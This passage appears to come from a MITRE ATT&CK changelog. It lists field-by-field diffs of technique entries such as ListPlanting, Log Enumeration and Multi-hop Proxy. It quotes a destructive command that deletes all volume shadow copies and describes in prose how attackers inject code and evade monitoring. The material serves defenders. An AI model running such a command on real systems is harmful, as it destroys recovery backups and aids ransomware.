* diskshadow.exe can be used to delete all volume shadow copies on a system - diskshadow delete shadows all (Citation: Diskshadow) (Citation: Crytox Ransomware)
On network devices, adversaries may leverage [Disk Wipe](https://attack.mitre.org/techniques/T1561) to delete backup firmware images and reformat the file system, then [System Shutdown/Reboot](https://attack.mitre.org/techniques/T1529) to reload the device. Together this activity may leave network devices completely inoperable and inhibit recovery operations.
Adversaries may also delete “online” backups that are connected to their network – whether via network storage media or through folders that sync to cloud services.(Citation: ZDNet Ransomware Backups 2020) In cloud environments, adversaries may disable versioning and backup policies and delete snapshots, database backups, machine images, and prior versions of objects designed to be used in disaster recovery scenarios.(Citation: Dark Reading Code Spaces Cyber Attack)(Citation: Rhino Security Labs AWS S3 Ransomware) |
| external_references[8]['description'] | TheDFIRReport. (2022, March 1). Disabling notifications on Synology servers before ransom. Retrieved October 19, 2022. | TheDFIRReport. (2022, March 1). Disabling notifications on Synology servers before ransom. Retrieved September 12, 2024. |
| external_references[8]['url'] | https://twitter.com/TheDFIRReport/status/1498657590259109894 | https://x.com/TheDFIRReport/status/1498657590259109894 |
| x_mitre_version | 1.4 | 1.5 |
[T1056] Input Capture
Current version: 1.3
Version changed from: 1.2 → 1.3
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_deprecated | | False |
dictionary_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_permissions_required | ['Administrator', 'SYSTEM', 'root', 'User'] | |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2023-03-30 21:01:41.752000+00:00 | 2024-08-13 17:33:45.244000+00:00 |
| x_mitre_attack_spec_version | 3.1.0 | 3.2.0 |
| x_mitre_version | 1.2 | 1.3 |
[T1559] Inter-Process Communication
Current version: 1.3
Version changed from: 1.2 → 1.3
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_attack_spec_version | | 3.2.0 |
| x_mitre_deprecated | | False |
dictionary_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_permissions_required | ['Administrator', 'User', 'SYSTEM'] | |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2022-03-11 20:23:23.122000+00:00 | 2024-09-10 19:06:35.666000+00:00 |
| x_mitre_version | 1.2 | 1.3 |
[T1534] Internal Spearphishing
Current version: 1.4
Version changed from: 1.3 → 1.4
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2024-02-16 13:09:39.215000+00:00 | 2024-10-15 15:59:36.741000+00:00 |
| x_mitre_version | 1.3 | 1.4 |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_platforms | | Office Suite |
iterable_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_platforms | Office 365 | |
| x_mitre_platforms | Google Workspace | |
[T1059.007] Command and Scripting Interpreter: JavaScript
Current version: 2.2
Version changed from: 2.1 → 2.2
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_attack_spec_version | | 3.2.0 |
| x_mitre_deprecated | | False |
| x_mitre_remote_support | | False |
dictionary_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_permissions_required | ['User', 'Administrator', 'SYSTEM'] | |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-08-16 21:02:05.142000+00:00 | 2024-07-30 14:12:52.698000+00:00 |
| x_mitre_version | 2.1 | 2.2 |
[T1003.004] OS Credential Dumping: LSA Secrets
Current version: 1.1
Version changed from: 1.0 → 1.1
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_attack_spec_version | | 3.2.0 |
| x_mitre_deprecated | | False |
dictionary_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_permissions_required | ['SYSTEM'] | |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-04-21 21:12:38.361000+00:00 | 2024-08-13 15:49:17.591000+00:00 |
| x_mitre_version | 1.0 | 1.1 |
[T1003.001] OS Credential Dumping: LSASS Memory
Current version: 1.5
Version changed from: 1.4 → 1.5
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2023-12-27 17:57:20.003000+00:00 | 2024-08-13 13:52:45.379000+00:00 |
| x_mitre_version | 1.4 | 1.5 |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_contributors | | Michael Forret, Quorum Cyber |
[T1569.001] System Services: Launchctl
Current version: 1.2
Version changed from: 1.1 → 1.2
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_attack_spec_version | | 3.2.0 |
| x_mitre_deprecated | | False |
| x_mitre_remote_support | | False |
dictionary_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_permissions_required | ['User', 'root'] | |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-10-15 18:40:23.141000+00:00 | 2024-09-20 20:14:35.179000+00:00 |
| x_mitre_version | 1.1 | 1.2 |
[T1055.015] Process Injection: ListPlanting
Current version: 1.1
Version changed from: 1.0 → 1.1
|
|
|---|
| t | Adversaries may abuse list-view controls to inject malicious | t | Adversaries may abuse list-view controls to inject malicious |
| code into hijacked processes in order to evade process-base | | code into hijacked processes in order to evade process-base |
| d defenses as well as possibly elevate privileges. ListPlant | | d defenses as well as possibly elevate privileges. ListPlant |
| ing is a method of executing arbitrary code in the address s | | ing is a method of executing arbitrary code in the address s |
| pace of a separate live process. Code executed via ListPlant | | pace of a separate live process.(Citation: Hexacorn Listplan |
| ing may also evade detection from security products since th | | ting) Code executed via ListPlanting may also evade detectio |
| e execution is masked under a legitimate process. List-view | | n from security products since the execution is masked under |
| controls are user interface windows used to display collect | | a legitimate process. List-view controls are user interfac |
| ions of items.(Citation: Microsoft List View Controls) Infor | | e windows used to display collections of items.(Citation: Mi |
| mation about an application's list-view settings are stored | | crosoft List View Controls) Information about an application |
| within the process' memory in a <code>SysListView32</code> c | | 's list-view settings are stored within the process' memory |
| ontrol. ListPlanting (a form of message-passing "shatter at | | in a <code>SysListView32</code> control. ListPlanting (a fo |
| tack") may be performed by copying code into the virtual add | | rm of message-passing "shatter attack") may be performed by |
| ress space of a process that uses a list-view control then u | | copying code into the virtual address space of a process tha |
| sing that code as a custom callback for sorting the listed i | | t uses a list-view control then using that code as a custom |
| tems.(Citation: Modexp Windows Process Injection) Adversarie | | callback for sorting the listed items.(Citation: Modexp Wind |
| s must first copy code into the target process’ memory space | | ows Process Injection) Adversaries must first copy code into |
| , which can be performed various ways including by directly | | the target process’ memory space, which can be performed va |
| obtaining a handle to the <code>SysListView32</code> child o | | rious ways including by directly obtaining a handle to the < |
| f the victim process window (via Windows API calls such as < | | code>SysListView32</code> child of the victim process window |
| code>FindWindow</code> and/or <code>EnumWindows</code>) or o | | (via Windows API calls such as <code>FindWindow</code> and/ |
| ther [Process Injection](https://attack.mitre.org/techniques | | or <code>EnumWindows</code>) or other [Process Injection](ht |
| /T1055) methods. Some variations of ListPlanting may alloca | | tps://attack.mitre.org/techniques/T1055) methods. Some vari |
| te memory in the target process but then use window messages | | ations of ListPlanting may allocate memory in the target pro |
| to copy the payload, to avoid the use of the highly monitor | | cess but then use window messages to copy the payload, to av |
| ed <code>WriteProcessMemory</code> function. For example, an | | oid the use of the highly monitored <code>WriteProcessMemory |
| adversary can use the <code>PostMessage</code> and/or <code | | </code> function. For example, an adversary can use the <cod |
| >SendMessage</code> API functions to send <code>LVM_SETITEMP | | e>PostMessage</code> and/or <code>SendMessage</code> API fun |
| OSITION</code> and <code>LVM_GETITEMPOSITION</code> messages | | ctions to send <code>LVM_SETITEMPOSITION</code> and <code>LV |
| , effectively copying a payload 2 bytes at a time to the all | | M_GETITEMPOSITION</code> messages, effectively copying a pay |
| ocated memory.(Citation: ESET InvisiMole June 2020) Finall | | load 2 bytes at a time to the allocated memory.(Citation: ES |
| y, the payload is triggered by sending the <code>LVM_SORTITE | | ET InvisiMole June 2020) Finally, the payload is triggered |
| MS</code> message to the <code>SysListView32</code> child of | | by sending the <code>LVM_SORTITEMS</code> message to the <c |
| the process window, with the payload within the newly alloc | | ode>SysListView32</code> child of the process window, with t |
| ated buffer passed and executed as the <code>ListView_SortIt | | he payload within the newly allocated buffer passed and exec |
| ems</code> callback. | | uted as the <code>ListView_SortItems</code> callback. |
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_attack_spec_version | | 3.2.0 |
| x_mitre_deprecated | | False |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2022-03-08 20:59:20.762000+00:00 | 2024-08-14 17:34:33.948000+00:00 |
| description | Adversaries may abuse list-view controls to inject malicious code into hijacked processes in order to evade process-based defenses as well as possibly elevate privileges. ListPlanting is a method of executing arbitrary code in the address space of a separate live process. Code executed via ListPlanting may also evade detection from security products since the execution is masked under a legitimate process.
List-view controls are user interface windows used to display collections of items.(Citation: Microsoft List View Controls) Information about an application's list-view settings are stored within the process' memory in a SysListView32 control.
ListPlanting (a form of message-passing "shatter attack") may be performed by copying code into the virtual address space of a process that uses a list-view control then using that code as a custom callback for sorting the listed items.(Citation: Modexp Windows Process Injection) Adversaries must first copy code into the target process’ memory space, which can be performed various ways including by directly obtaining a handle to the SysListView32 child of the victim process window (via Windows API calls such as FindWindow and/or EnumWindows) or other [Process Injection](https://attack.mitre.org/techniques/T1055) methods.
Some variations of ListPlanting may allocate memory in the target process but then use window messages to copy the payload, to avoid the use of the highly monitored WriteProcessMemory function. For example, an adversary can use the PostMessage and/or SendMessage API functions to send LVM_SETITEMPOSITION and LVM_GETITEMPOSITION messages, effectively copying a payload 2 bytes at a time to the allocated memory.(Citation: ESET InvisiMole June 2020)
Finally, the payload is triggered by sending the LVM_SORTITEMS message to the SysListView32 child of the process window, with the payload within the newly allocated buffer passed and executed as the ListView_SortItems callback. | Adversaries may abuse list-view controls to inject malicious code into hijacked processes in order to evade process-based defenses as well as possibly elevate privileges. ListPlanting is a method of executing arbitrary code in the address space of a separate live process.(Citation: Hexacorn Listplanting) Code executed via ListPlanting may also evade detection from security products since the execution is masked under a legitimate process.
List-view controls are user interface windows used to display collections of items.(Citation: Microsoft List View Controls) Information about an application's list-view settings are stored within the process' memory in a SysListView32 control.
ListPlanting (a form of message-passing "shatter attack") may be performed by copying code into the virtual address space of a process that uses a list-view control then using that code as a custom callback for sorting the listed items.(Citation: Modexp Windows Process Injection) Adversaries must first copy code into the target process’ memory space, which can be performed various ways including by directly obtaining a handle to the SysListView32 child of the victim process window (via Windows API calls such as FindWindow and/or EnumWindows) or other [Process Injection](https://attack.mitre.org/techniques/T1055) methods.
Some variations of ListPlanting may allocate memory in the target process but then use window messages to copy the payload, to avoid the use of the highly monitored WriteProcessMemory function. For example, an adversary can use the PostMessage and/or SendMessage API functions to send LVM_SETITEMPOSITION and LVM_GETITEMPOSITION messages, effectively copying a payload 2 bytes at a time to the allocated memory.(Citation: ESET InvisiMole June 2020)
Finally, the payload is triggered by sending the LVM_SORTITEMS message to the SysListView32 child of the process window, with the payload within the newly allocated buffer passed and executed as the ListView_SortItems callback. |
| x_mitre_version | 1.0 | 1.1 |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| external_references | | {'source_name': 'Hexacorn Listplanting', 'description': 'Hexacorn. (2019, April 25). Listplanting – yet another code injection trick. Retrieved August 14, 2024.', 'url': 'https://www.hexacorn.com/blog/2019/04/25/listplanting-yet-another-code-injection-trick/'} |
[T1654] Log Enumeration
Current version: 1.1
Version changed from: 1.0 → 1.1
|
|
|---|
| t | Adversaries may enumerate system and service logs to find us | t | Adversaries may enumerate system and service logs to find us |
| eful data. These logs may highlight various types of valuabl | | eful data. These logs may highlight various types of valuabl |
| e insights for an adversary, such as user authentication rec | | e insights for an adversary, such as user authentication rec |
| ords ([Account Discovery](https://attack.mitre.org/technique | | ords ([Account Discovery](https://attack.mitre.org/technique |
| s/T1087)), security or vulnerable software ([Software Discov | | s/T1087)), security or vulnerable software ([Software Discov |
| ery](https://attack.mitre.org/techniques/T1518)), or hosts w | | ery](https://attack.mitre.org/techniques/T1518)), or hosts w |
| ithin a compromised network ([Remote System Discovery](https | | ithin a compromised network ([Remote System Discovery](https |
| ://attack.mitre.org/techniques/T1018)). Host binaries may b | | ://attack.mitre.org/techniques/T1018)). Host binaries may b |
| e leveraged to collect system logs. Examples include using ` | | e leveraged to collect system logs. Examples include using ` |
| wevtutil.exe` or [PowerShell](https://attack.mitre.org/techn | | wevtutil.exe` or [PowerShell](https://attack.mitre.org/techn |
| iques/T1059/001) on Windows to access and/or export security | | iques/T1059/001) on Windows to access and/or export security |
| event information.(Citation: WithSecure Lazarus-NoPineapple | | event information.(Citation: WithSecure Lazarus-NoPineapple |
| Threat Intel Report 2023)(Citation: Cadet Blizzard emerges | | Threat Intel Report 2023)(Citation: Cadet Blizzard emerges |
| as novel threat actor) In cloud environments, adversaries ma | | as novel threat actor) In cloud environments, adversaries ma |
| y leverage utilities such as the Azure VM Agent’s `CollectGu | | y leverage utilities such as the Azure VM Agent’s `CollectGu |
| estLogs.exe` to collect security logs from cloud hosted infr | | estLogs.exe` to collect security logs from cloud hosted infr |
| astructure.(Citation: SIM Swapping and Abuse of the Microsof | | astructure.(Citation: SIM Swapping and Abuse of the Microsof |
| t Azure Serial Console) Adversaries may also target central | | t Azure Serial Console) Adversaries may also target central |
| ized logging infrastructure such as SIEMs. Logs may also be | | ized logging infrastructure such as SIEMs. Logs may also be |
| bulk exported and sent to adversary-controlled infrastructur | | bulk exported and sent to adversary-controlled infrastructur |
| e for offline analysis. | | e for offline analysis. In addition to gaining a better und |
| | | erstanding of the environment, adversaries may also monitor |
| | | logs in real time to track incident response procedures. Thi |
| | | s may allow them to adjust their techniques in order to main |
| | | tain persistence or evade defenses.(Citation: Permiso GUI-Vi |
| | | l 2023) |
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2023-09-30 22:18:46.711000+00:00 | 2024-10-15 12:24:40.892000+00:00 |
| description | Adversaries may enumerate system and service logs to find useful data. These logs may highlight various types of valuable insights for an adversary, such as user authentication records ([Account Discovery](https://attack.mitre.org/techniques/T1087)), security or vulnerable software ([Software Discovery](https://attack.mitre.org/techniques/T1518)), or hosts within a compromised network ([Remote System Discovery](https://attack.mitre.org/techniques/T1018)).
Host binaries may be leveraged to collect system logs. Examples include using `wevtutil.exe` or [PowerShell](https://attack.mitre.org/techniques/T1059/001) on Windows to access and/or export security event information.(Citation: WithSecure Lazarus-NoPineapple Threat Intel Report 2023)(Citation: Cadet Blizzard emerges as novel threat actor) In cloud environments, adversaries may leverage utilities such as the Azure VM Agent’s `CollectGuestLogs.exe` to collect security logs from cloud hosted infrastructure.(Citation: SIM Swapping and Abuse of the Microsoft Azure Serial Console)
Adversaries may also target centralized logging infrastructure such as SIEMs. Logs may also be bulk exported and sent to adversary-controlled infrastructure for offline analysis. | Adversaries may enumerate system and service logs to find useful data. These logs may highlight various types of valuable insights for an adversary, such as user authentication records ([Account Discovery](https://attack.mitre.org/techniques/T1087)), security or vulnerable software ([Software Discovery](https://attack.mitre.org/techniques/T1518)), or hosts within a compromised network ([Remote System Discovery](https://attack.mitre.org/techniques/T1018)).
Host binaries may be leveraged to collect system logs. Examples include using `wevtutil.exe` or [PowerShell](https://attack.mitre.org/techniques/T1059/001) on Windows to access and/or export security event information.(Citation: WithSecure Lazarus-NoPineapple Threat Intel Report 2023)(Citation: Cadet Blizzard emerges as novel threat actor) In cloud environments, adversaries may leverage utilities such as the Azure VM Agent’s `CollectGuestLogs.exe` to collect security logs from cloud hosted infrastructure.(Citation: SIM Swapping and Abuse of the Microsoft Azure Serial Console)
Adversaries may also target centralized logging infrastructure such as SIEMs. Logs may also be bulk exported and sent to adversary-controlled infrastructure for offline analysis.
In addition to gaining a better understanding of the environment, adversaries may also monitor logs in real time to track incident response procedures. This may allow them to adjust their techniques in order to maintain persistence or evade defenses.(Citation: Permiso GUI-Vil 2023) |
| x_mitre_version | 1.0 | 1.1 |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| external_references | | {'source_name': 'Permiso GUI-Vil 2023', 'description': 'Ian Ahl. (2023, May 22). Unmasking GUI-Vil: Financially Motivated Cloud Threat Actor. Retrieved August 30, 2024.', 'url': 'https://permiso.io/blog/s/unmasking-guivil-new-cloud-threat-actor/'} |
| x_mitre_contributors | | Menachem Goldstein |
[T1204.002] User Execution: Malicious File
Current version: 1.4
Version changed from: 1.3 → 1.4
|
|
|---|
| t | An adversary may rely upon a user opening a malicious file i | t | An adversary may rely upon a user opening a malicious file i |
| n order to gain execution. Users may be subjected to social | | n order to gain execution. Users may be subjected to social |
| engineering to get them to open a file that will lead to cod | | engineering to get them to open a file that will lead to cod |
| e execution. This user action will typically be observed as | | e execution. This user action will typically be observed as |
| follow-on behavior from [Spearphishing Attachment](https://a | | follow-on behavior from [Spearphishing Attachment](https://a |
| ttack.mitre.org/techniques/T1566/001). Adversaries may use s | | ttack.mitre.org/techniques/T1566/001). Adversaries may use s |
| everal types of files that require a user to execute them, i | | everal types of files that require a user to execute them, i |
| ncluding .doc, .pdf, .xls, .rtf, .scr, .exe, .lnk, .pif, and | | ncluding .doc, .pdf, .xls, .rtf, .scr, .exe, .lnk, .pif, .cp |
| .cpl. Adversaries may employ various forms of [Masqueradin | | l, and .reg. Adversaries may employ various forms of [Masqu |
| g](https://attack.mitre.org/techniques/T1036) and [Obfuscate | | erading](https://attack.mitre.org/techniques/T1036) and [Obf |
| d Files or Information](https://attack.mitre.org/techniques/ | | uscated Files or Information](https://attack.mitre.org/techn |
| T1027) to increase the likelihood that a user will open and | | iques/T1027) to increase the likelihood that a user will ope |
| successfully execute a malicious file. These methods may inc | | n and successfully execute a malicious file. These methods m |
| lude using a familiar naming convention and/or password prot | | ay include using a familiar naming convention and/or passwor |
| ecting the file and supplying instructions to a user on how | | d protecting the file and supplying instructions to a user o |
| to open it.(Citation: Password Protected Word Docs) While | | n how to open it.(Citation: Password Protected Word Docs) |
| [Malicious File](https://attack.mitre.org/techniques/T1204/0 | | While [Malicious File](https://attack.mitre.org/techniques/T |
| 02) frequently occurs shortly after Initial Access it may oc | | 1204/002) frequently occurs shortly after Initial Access it |
| cur at other phases of an intrusion, such as when an adversa | | may occur at other phases of an intrusion, such as when an a |
| ry places a file in a shared directory or on a user's deskto | | dversary places a file in a shared directory or on a user's |
| p hoping that a user will click on it. This activity may als | | desktop hoping that a user will click on it. This activity m |
| o be seen shortly after [Internal Spearphishing](https://att | | ay also be seen shortly after [Internal Spearphishing](https |
| ack.mitre.org/techniques/T1534). | | ://attack.mitre.org/techniques/T1534). |
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2023-04-21 12:22:19.740000+00:00 | 2024-09-25 20:50:34.876000+00:00 |
| description | An adversary may rely upon a user opening a malicious file in order to gain execution. Users may be subjected to social engineering to get them to open a file that will lead to code execution. This user action will typically be observed as follow-on behavior from [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001). Adversaries may use several types of files that require a user to execute them, including .doc, .pdf, .xls, .rtf, .scr, .exe, .lnk, .pif, and .cpl.
Adversaries may employ various forms of [Masquerading](https://attack.mitre.org/techniques/T1036) and [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027) to increase the likelihood that a user will open and successfully execute a malicious file. These methods may include using a familiar naming convention and/or password protecting the file and supplying instructions to a user on how to open it.(Citation: Password Protected Word Docs)
While [Malicious File](https://attack.mitre.org/techniques/T1204/002) frequently occurs shortly after Initial Access it may occur at other phases of an intrusion, such as when an adversary places a file in a shared directory or on a user's desktop hoping that a user will click on it. This activity may also be seen shortly after [Internal Spearphishing](https://attack.mitre.org/techniques/T1534). | An adversary may rely upon a user opening a malicious file in order to gain execution. Users may be subjected to social engineering to get them to open a file that will lead to code execution. This user action will typically be observed as follow-on behavior from [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001). Adversaries may use several types of files that require a user to execute them, including .doc, .pdf, .xls, .rtf, .scr, .exe, .lnk, .pif, .cpl, and .reg.
Adversaries may employ various forms of [Masquerading](https://attack.mitre.org/techniques/T1036) and [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027) to increase the likelihood that a user will open and successfully execute a malicious file. These methods may include using a familiar naming convention and/or password protecting the file and supplying instructions to a user on how to open it.(Citation: Password Protected Word Docs)
While [Malicious File](https://attack.mitre.org/techniques/T1204/002) frequently occurs shortly after Initial Access it may occur at other phases of an intrusion, such as when an adversary places a file in a shared directory or on a user's desktop hoping that a user will click on it. This activity may also be seen shortly after [Internal Spearphishing](https://attack.mitre.org/techniques/T1534). |
| x_mitre_attack_spec_version | 3.1.0 | 3.2.0 |
| x_mitre_version | 1.3 | 1.4 |
[T1204.001] User Execution: Malicious Link
Current version: 1.1
Version changed from: 1.0 → 1.1
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_attack_spec_version | | 3.2.0 |
| x_mitre_deprecated | | False |
| x_mitre_remote_support | | False |
dictionary_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_permissions_required | ['User'] | |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2020-03-11 14:43:31.706000+00:00 | 2024-09-10 16:40:03.786000+00:00 |
| x_mitre_version | 1.0 | 1.1 |
[T1556] Modify Authentication Process
Current version: 2.5
Version changed from: 2.4 → 2.5
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2024-04-11 21:51:44.851000+00:00 | 2024-10-14 22:11:30.271000+00:00 |
| x_mitre_version | 2.4 | 2.5 |
| x_mitre_platforms[7] | Office 365 | Identity Provider |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_platforms | | Office Suite |
iterable_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_platforms | Azure AD | |
| x_mitre_platforms | Google Workspace | |
[T1556.006] Modify Authentication Process: Multi-Factor Authentication
Current version: 1.3
Version changed from: 1.2 → 1.3
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2024-04-16 00:20:21.488000+00:00 | 2024-10-14 22:11:30.271000+00:00 |
| x_mitre_version | 1.2 | 1.3 |
| x_mitre_platforms[5] | Google Workspace | Office Suite |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_contributors | | Arun Seelagan, CISA |
| x_mitre_platforms | | Identity Provider |
iterable_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_platforms | Azure AD | |
| x_mitre_platforms | Office 365 | |
[T1621] Multi-Factor Authentication Request Generation
Current version: 1.2
Version changed from: 1.1 → 1.2
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2024-04-19 04:26:29.365000+00:00 | 2024-10-14 22:11:30.271000+00:00 |
| x_mitre_version | 1.1 | 1.2 |
| x_mitre_platforms[6] | Azure AD | Identity Provider |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_contributors | | Arun Seelagan, CISA |
| x_mitre_platforms | | Office Suite |
iterable_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_platforms | Office 365 | |
| x_mitre_platforms | Google Workspace | |
[T1090.003] Proxy: Multi-hop Proxy
Current version: 2.2
Version changed from: 2.1 → 2.2
|
|
|---|
| t | Adversaries may chain together multiple proxies to disguise | t | Adversaries may chain together multiple proxies to disguise |
| the source of malicious traffic. Typically, a defender will | | the source of malicious traffic. Typically, a defender will |
| be able to identify the last proxy traffic traversed before | | be able to identify the last proxy traffic traversed before |
| it enters their network; the defender may or may not be able | | it enters their network; the defender may or may not be able |
| to identify any previous proxies before the last-hop proxy. | | to identify any previous proxies before the last-hop proxy. |
| This technique makes identifying the original source of the | | This technique makes identifying the original source of the |
| malicious traffic even more difficult by requiring the defe | | malicious traffic even more difficult by requiring the defe |
| nder to trace malicious traffic through several proxies to i | | nder to trace malicious traffic through several proxies to i |
| dentify its source. For example, adversaries may construct | | dentify its source. For example, adversaries may construct |
| or use onion routing networks – such as the publicly availab | | or use onion routing networks – such as the publicly availab |
| le [Tor](https://attack.mitre.org/software/S0183) network – | | le [Tor](https://attack.mitre.org/software/S0183) network – |
| to transport encrypted C2 traffic through a compromised popu | | to transport encrypted C2 traffic through a compromised popu |
| lation, allowing communication with any device within the ne | | lation, allowing communication with any device within the ne |
| twork.(Citation: Onion Routing) In the case of network infr | | twork.(Citation: Onion Routing) Adversaries may also use ope |
| astructure, it is possible for an adversary to leverage mult | | rational relay box (ORB) networks composed of virtual privat |
| iple compromised devices to create a multi-hop proxy chain ( | | e servers (VPS), Internet of Things (IoT) devices, smart dev |
| i.e., [Network Devices](https://attack.mitre.org/techniques/ | | ices, and end-of-life routers to obfuscate their operations. |
| T1584/008)). By leveraging [Patch System Image](https://atta | | (Citation: ORB Mandiant) In the case of network infrastru |
| ck.mitre.org/techniques/T1601/001) on routers, adversaries c | | cture, it is possible for an adversary to leverage multiple |
| an add custom code to the affected network devices that will | | compromised devices to create a multi-hop proxy chain (i.e., |
| implement onion routing between those nodes. This method is | | [Network Devices](https://attack.mitre.org/techniques/T1584 |
| dependent upon the [Network Boundary Bridging](https://atta | | /008)). By leveraging [Patch System Image](https://attack.mi |
| ck.mitre.org/techniques/T1599) method allowing the adversari | | tre.org/techniques/T1601/001) on routers, adversaries can ad |
| es to cross the protected network boundary of the Internet p | | d custom code to the affected network devices that will impl |
| erimeter and into the organization’s Wide-Area Network (WAN) | | ement onion routing between those nodes. This method is depe |
| . Protocols such as ICMP may be used as a transport. Simil | | ndent upon the [Network Boundary Bridging](https://attack.mi |
| arly, adversaries may abuse peer-to-peer (P2P) and blockchai | | tre.org/techniques/T1599) method allowing the adversaries to |
| n-oriented infrastructure to implement routing between a dec | | cross the protected network boundary of the Internet perime |
| entralized network of peers.(Citation: NGLite Trojan) | | ter and into the organization’s Wide-Area Network (WAN). Pr |
| | | otocols such as ICMP may be used as a transport. Similarl |
| | | y, adversaries may abuse peer-to-peer (P2P) and blockchain-o |
| | | riented infrastructure to implement routing between a decent |
| | | ralized network of peers.(Citation: NGLite Trojan) |
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2024-04-19 13:24:36.872000+00:00 | 2024-09-25 20:48:24.411000+00:00 |
| description | Adversaries may chain together multiple proxies to disguise the source of malicious traffic. Typically, a defender will be able to identify the last proxy traffic traversed before it enters their network; the defender may or may not be able to identify any previous proxies before the last-hop proxy. This technique makes identifying the original source of the malicious traffic even more difficult by requiring the defender to trace malicious traffic through several proxies to identify its source.
For example, adversaries may construct or use onion routing networks – such as the publicly available [Tor](https://attack.mitre.org/software/S0183) network – to transport encrypted C2 traffic through a compromised population, allowing communication with any device within the network.(Citation: Onion Routing)
In the case of network infrastructure, it is possible for an adversary to leverage multiple compromised devices to create a multi-hop proxy chain (i.e., [Network Devices](https://attack.mitre.org/techniques/T1584/008)). By leveraging [Patch System Image](https://attack.mitre.org/techniques/T1601/001) on routers, adversaries can add custom code to the affected network devices that will implement onion routing between those nodes. This method is dependent upon the [Network Boundary Bridging](https://attack.mitre.org/techniques/T1599) method allowing the adversaries to cross the protected network boundary of the Internet perimeter and into the organization’s Wide-Area Network (WAN). Protocols such as ICMP may be used as a transport.
Similarly, adversaries may abuse peer-to-peer (P2P) and blockchain-oriented infrastructure to implement routing between a decentralized network of peers.(Citation: NGLite Trojan) | Adversaries may chain together multiple proxies to disguise the source of malicious traffic. Typically, a defender will be able to identify the last proxy traffic traversed before it enters their network; the defender may or may not be able to identify any previous proxies before the last-hop proxy. This technique makes identifying the original source of the malicious traffic even more difficult by requiring the defender to trace malicious traffic through several proxies to identify its source.
For example, adversaries may construct or use onion routing networks – such as the publicly available [Tor](https://attack.mitre.org/software/S0183) network – to transport encrypted C2 traffic through a compromised population, allowing communication with any device within the network.(Citation: Onion Routing) Adversaries may also use operational relay box (ORB) networks composed of virtual private servers (VPS), Internet of Things (IoT) devices, smart devices, and end-of-life routers to obfuscate their operations. (Citation: ORB Mandiant)
In the case of network infrastructure, it is possible for an adversary to leverage multiple compromised devices to create a multi-hop proxy chain (i.e., [Network Devices](https://attack.mitre.org/techniques/T1584/008)). By leveraging [Patch System Image](https://attack.mitre.org/techniques/T1601/001) on routers, adversaries can add custom code to the affected network devices that will implement onion routing between those nodes. This method is dependent upon the [Network Boundary Bridging](https://attack.mitre.org/techniques/T1599) method allowing the adversaries to cross the protected network boundary of the Internet perimeter and into the organization’s Wide-Area Network (WAN). Protocols such as ICMP may be used as a transport.
Similarly, adversaries may abuse peer-to-peer (P2P) and blockchain-oriented infrastructure to implement routing between a decentralized network of peers.(Citation: NGLite Trojan) |
| x_mitre_version | 2.1 | 2.2 |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| external_references | | {'source_name': 'ORB Mandiant', 'description': 'Raggi, Michael. (2024, May 22). IOC Extinction? China-Nexus Cyber Espionage Actors Use ORB Networks to Raise Cost on Defenders. Retrieved July 8, 2024.', 'url': 'https://cloud.google.com/blog/topics/threat-intelligence/china-nexus-espionage-orb-networks'} |
[T1498] Network Denial of Service
Current version: 1.2
Version changed from: 1.1 → 1.2
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_attack_spec_version | | 3.2.0 |
| x_mitre_deprecated | | False |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2022-03-25 20:05:40.122000+00:00 | 2024-10-15 16:01:00.510000+00:00 |
| external_references[2]['description'] | FS-ISAC. (2012, September 17). Fraud Alert – Cyber Criminals Targeting Financial Institution Employee Credentials to Conduct Wire Transfer Fraud. Retrieved April 18, 2019. | FS-ISAC. (2012, September 17). Fraud Alert – Cyber Criminals Targeting Financial Institution Employee Credentials to Conduct Wire Transfer Fraud. Retrieved September 23, 2024. |
